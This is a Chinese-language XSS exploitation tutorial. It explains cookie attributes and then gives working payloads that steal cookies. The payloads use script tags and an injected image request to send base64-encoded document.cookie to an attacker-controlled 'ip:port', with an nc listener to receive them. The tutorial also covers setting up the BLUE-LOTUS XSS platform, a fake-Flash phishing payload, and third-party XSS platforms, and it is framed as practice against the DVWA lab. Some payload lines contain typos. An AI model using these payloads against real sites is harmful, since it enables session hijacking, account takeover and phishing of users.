05. XSS漏洞利用

Source

05. XSS漏洞利用

XSS漏洞利用(上)

获取cookie

什么是cookie?

**定义:**cookie是指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)

**作用:**服务器可以设置或读取cookie中包含的信息,借此识别用户身份并维护用户跟服务器会话的状态。比如,当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了登录凭据(用户名加密码的某种加密形式)的cookie到用户的硬盘上。第二次登录时,如果该cookie尚未到期,浏览器会发送该cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。

cookie的组成
  • **Name=Value:**设置cookie的名称和值;对于认证Cookie,Value值包括Web服务器所提供的访问令牌。
  • **Expires:**设置cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭网页时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效。
  • **Path:**cookie所属路径,只有改路径及其下级目录才能够获取该cookie。
  • Domain:指定了可以访问该 cookie 的 Web 站点或域,只有这个域或者子域才能够获取该cookie。
  • **Secure:**设置Secure表示该cookie只可使用HTTPS协议传输。
  • **HTTPOnly:**设置HTTPOnly表示该cookie不能被javascript读取,用于防止客户端脚本通过document.cookie属性访问Cookie。
  • **SameSite:**用于定义cookie如何跨域发送。
实验:获取cookie

在这里插入图片描述

方法1:请求带出

在VPS上开启监听,向存在XSS漏洞的网站插入代码后,可以接收到目标的cookie(base64编码格式)。

VPS上开启监听:

nc -lvp 7777 // 监听7777端口

XSS利用代码:

# 浏览器新打开一个窗口,访问指定的ip和端口,并带上了cookie
<script>windows.open('http://ip:port/?q=' + btoa(document.cookie));</script>
# 在当前窗口访问ip和端口
<script>location.href = 'http://ip:port/?q=' + btoa(document.cookie));</script>
方法2:访问指定网址并执行代码

在自己的服务器上建立恶意代码文件xss_getcookie.js

var img = document.createElement("img");
img.src = "http://ip:8888/?q=" + btoa(document.cookie);
document.body.appendChild(img);

然后在漏洞点插入恶意代码:

<script src = http://ip/xss_getcookie.js></script>

查看Web日志(默认路径/var/log/apache2/access.log),可以看到目标cookie

在这里插入图片描述

方法3:利用BLUE-LOTUS平台

BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。

安装BLUE-LOTUS平台

将安装文件放在网站目录下,访问install.php文件,默认安装即可,再访问login.php登录(默认密码为bluelotus)。

BLUE-LOTUS平台的使用

在这里插入图片描述

进入“我的JS”模块,选择插入“default.js”模块

在这里插入图片描述

将website修改为平台网址(https://ip/Blue/index.php,注意:是index.php,不是admin.php),命名文件并保存

在这里插入图片描述

<script>alert(123)</script> #payload

点击生成payload

在这里插入图片描述

将payload插入存在XSS漏洞的网站,payload执行后平台会收到cookie。利用cookie可以无密码登录网站。

在这里插入图片描述

漏洞钓鱼

漏洞钓鱼

利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如:可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload:

<script src = http://ip/fakeflash/flash.js>

在这里插入图片描述

第三方XSS利用平台

使用第三方XSS利用平台

免费邮箱:http://24mail.chacuo.net/

在这里插入图片描述

XXSPt平台:https://xss.pt

在这里插入图片描述

实验准备
  1. 临时邮箱

    用来注册XSS在线平台账号

  2. DVWA靶场

    利用靶场反射型或者存储型XSS做实验

  3. 钓鱼界面

    构造钓鱼链接,或者钓鱼页面

XSS利用平台——xss.pt

在这里插入图片描述

创建项目得到利用脚本

在这里插入图片描述

利用——获取到cookie

在这里插入图片描述